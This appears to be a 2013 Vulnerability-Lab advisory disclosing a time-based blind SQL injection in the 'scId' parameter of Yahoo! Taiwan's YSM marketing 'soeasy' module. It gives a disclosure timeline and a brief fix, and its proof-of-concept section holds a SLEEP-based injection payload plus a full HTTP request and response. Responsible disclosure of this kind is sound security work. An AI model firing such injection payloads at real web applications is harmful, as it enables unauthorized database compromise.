Yahoo! TW YSM MKT Blind SQL Injection

`Title:  
======  
Yahoo! TW YSM MKT - Blind SQL Injection Vulnerability  
  
  
Date:  
=====  
2013-04-03  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=892  
  
  
VL-ID:  
=====  
892  
  
  
Common Vulnerability Scoring System:  
====================================  
7.1  
  
  
Introduction:  
=============  
Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely   
known for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail,   
Yahoo! News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports   
and its social media website. It is one of the most popular sites in the United States. According to news sources,   
roughly 700 million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a   
billion consumers every month in more than 30 languages.  
  
(Copy of the Vendor Homepage: http://www.yahoo.com )  
  
  
Abstract:  
=========  
An independent researcher (Ebrahim Hegazy) discovered a blind sql injection vulnerability in the Yahoo! Inc TW Marketing Service Application.  
  
  
Report-Timeline:  
================  
2013-02-24: Researcher Notification & Coordination  
2013-02-25: Vendor Notification  
2013-03-01: Vendor Response/Feedback  
2013-04-01: Vendor Fix/Patch by check  
2013-04-03: Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Critical  
  
  
Details:  
========  
A time based blind SQL Injection web vulnerability is detected in the official Yahoo! TW YSM Marketing Application Service.  
The vulnerability allows remote attackers to inject own sql commands to compromise the affected application dbms.   
  
The SQL Injection vulnerability is located in the index.php file of the soeasy module when processing to request manipulated   
scId parameters. By manipulation of the scId parameter the attackers can inject own sql commands to compromise the webserver   
application dbms.  
  
The vulnerability can be exploited by remote attackers without privileged application user account and without required   
user interaction. Successful exploitation of the sql injection vulnerability results in application and application   
service dbms compromise.  
  
Vulnerable Service(s):  
[+] Yahoo! Inc - TW YSM Marketing  
  
Vulnerable Module(s):  
[+] soeasy  
  
Vulnerable Module(s):  
[+] index.php  
  
Vulnerable Parameter(s):  
[+] scId  
  
  
Proof of Concept:  
=================  
The time-based sql injection web vulnerability can be exploited by remote attackers without privileged application user account and without   
required user interaction. For demonstration or reproduce ...  
  
Vulnerable Service Domain: tw.ysm.emarketing.yahoo.com  
Vulnerable Module: soeasy  
Vulnerable File: index.php  
Vulnerable Parameters: ?p=2&scId=  
  
POC:  
http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113; select SLEEP(5)--  
  
Payload:  
1; union select SLEEP(5)--  
  
  
Request:  
http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)--  
  
GET /soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)-- HTTP/1.1  
Host: tw.ysm.emarketing.yahoo.com  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: is_c=1; device=pc; showNews=Y; B=9tgpb118ilu04&b=3&s=mu; AO=o=1&s=1&dnt=1; tw_ysm_soeasy=d%3D351d9185185129780476f856.  
17880929%26s%3DxLxK2mb96diFbErWUyv_jGQ--; __utma=266114698.145757337399.1361672202.1361672202.1361672202.1; __utmb=2663114698.  
1.10.1361672202; __utmc=2636114698; __utmz=266114698.13616732202.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)  
DNT: 1  
Connection: keep-alive  
  
HTTP/1.0 200 OK  
Date: Sun, 24 Feb 2013 02:16:48 GMT  
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi   
SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Pragma: no-cache  
Vary: Accept-Encoding  
Content-Type: text/html; charset=UTF-8  
Content-Encoding: gzip  
  
  
Note:  
Since it'a time based blind so the page will not give an output as a result in the reply, but it will SLEEP/DELAY for 5 seconds before it load.  
  
  
Solution:  
=========  
The vulnerability can be patched by a restriction and secure parse of the scId parameter request.  
  
  
Risk:  
=====  
The security risk of the time based blind sql injection web vulnerability is estimated as critical.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Ebrahim Hegazy [[email protected]] ([email protected])  
  
  
Disclaimer:  
===========  
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